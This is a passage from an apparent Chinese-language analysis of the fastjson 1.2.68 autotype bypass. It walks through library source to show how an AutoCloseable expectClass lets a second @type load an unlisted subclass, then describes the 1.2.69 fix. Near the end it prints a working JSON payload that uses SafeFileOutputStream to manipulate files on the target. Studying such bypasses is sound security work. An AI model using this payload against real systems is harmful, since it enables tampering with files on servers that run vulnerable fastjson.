|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

// ...
clazz = TypeUtils.getClassFromMapping(typeName);

// ...
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
// ...
}

回到 parseObject 后,一路往下,一直到 deserialze

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// DefaultJSONParser (com.alibaba.fastjson.parser)
public final Object parseObject(final Map object, Object fieldName) {
// ...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
// ...
}

JavaBeanDeserializer#deserialze 中,读下一个 key 发现还是 @type,因此进入 if13 行处读到 typeNameorg.eclipse.core.internal.localstore.SafeFileOutputStream,而后 24 行处 deserializer 为空,因此进入 27 行的 if,先拿到 expectClass 为 上文传入的 AutoCloseable,然后在 29 行处再次进入 checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features, //
int[] setFlags) {
// ...
if ((typeKey != null && typeKey.equals(key))
|| JSON.DEFAULT_TYPE_KEY == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);

if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}

ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;

if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}
// ...
}
// ...
}
// ...
}

此时再次进入 checkAutoTypeexpectClass 经过判断使得 expectClassFlagtrue,同时 org.eclipse.core.internal.localstore.SafeFileOutputStream 不在黑白名单中,因此一路往下到 22 行过 check,带着 cacheClassfalse 进入 TypeUtils.loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
// ...
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ...
}

loadClass 中使用了 contextClassLoader 拿到 SafeFileOutputStream 返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// TypeUtils (com.alibaba.fastjson.util)
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// className: "org.eclipse.core.internal.localstore.SafeFileOutputStream", classLoader: null, cache: false
// ...
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

回到 checkAutoType,先判断 clazz 不是来自于 ClassLoader、DataSourceRowSet 的子类,以此过滤 JNDI 注入,然后 18 行处判断 clazz 是否属于 expectClass 子类,是则加入 mappings,否则报错,最后返回 SafeFileOutputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
// ...
}

返回 SafeFileOutputStreamJavaBeanDeserializer#deserialze 后就是调用构造函数完成反序列化操作了,到此基本结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
protected <T> T deserialze(DefaultJSONParser parser, //
Type type, //
Object fieldName, //
Object object, //
int features, //
int[] setFlags) {
// ...
if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}

Object typedObject = deserializer.deserialze(parser, userType, fieldName);
if (deserializer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
if (typeKey != null) {
FieldDeserializer typeKeyFieldDeser = javaBeanDeserializer.getFieldDeserializer(typeKey);
if (typeKeyFieldDeser != null) {
typeKeyFieldDeser.setValue(typedObject, typeName);
}
}
}
return (T) typedObject;
// ...
}

总结

1.2.47 有一些类似,这里是利用 expectClass 来二次加载 expectClass 的子类绕过,而 expectClass 的选取需要在 TypeUtils#addBaseClassMappings 内,但不能在 INTERNAL_WHITELIST_HASHCODES 与黑名单内,而其子类的选取也不能位于黑名单内。

此处的利用链较多,不再赘述。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package st.southsea;

import com.alibaba.fastjson.JSON;

public class Main {
public static void main(String[] args) {
String payload = "{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"tempPath\": \"/tmp/1\",\n" +
" \"targetPath\": \"/tmp/2\"\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.69 对漏洞进行了修复,把 expectClass 替换为 expectHash

version hash hex-hash name
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable

Refer

浅谈 Java RMI

JNDI 注入漏洞的前世今生

Java 反序列化(之)JNDI 注入

Fastjson JdbcRowSetImpl 链及后续漏洞分析

FastJson JdbcRowSetImpl 链分析

Java 安全之 FastJson JdbcRowSetImpl 链分析

Fastjson-1-2-48-RCE 漏洞复现与分析

Fastjson<=1.2.47 反序列化漏洞复现及分析

fastjson 到底做错了什么?为什么会被频繁爆出漏洞?

Json 反序列化漏洞

JAVA 反序列化—FastJson 组件

Fastjson parse 突破特殊 getter 调用限制

Fastjson TemplatesImpl 链反序列化漏洞分析

fastjson 不出网利用简析

探索高版本 JDKJNDI 漏洞的利用方法

浅析 Fastjson1.2.62-1.2.68 反序列化漏洞

FastJason 1.2.22-1.2.24 TemplatesImpl 利用链分析

Fastjson 系列二——1.2.22-1.2.24 反序列化漏洞

fastjson 不出网利用简析

fastjson 读文件 gadget 的利用场景扩展

fastjson 1.2.68 autotype bypass 反序列化漏洞 gadget 的一种挖掘思路

fastjson 1.2.68 漏洞分析

Fastjson 反序列化漏洞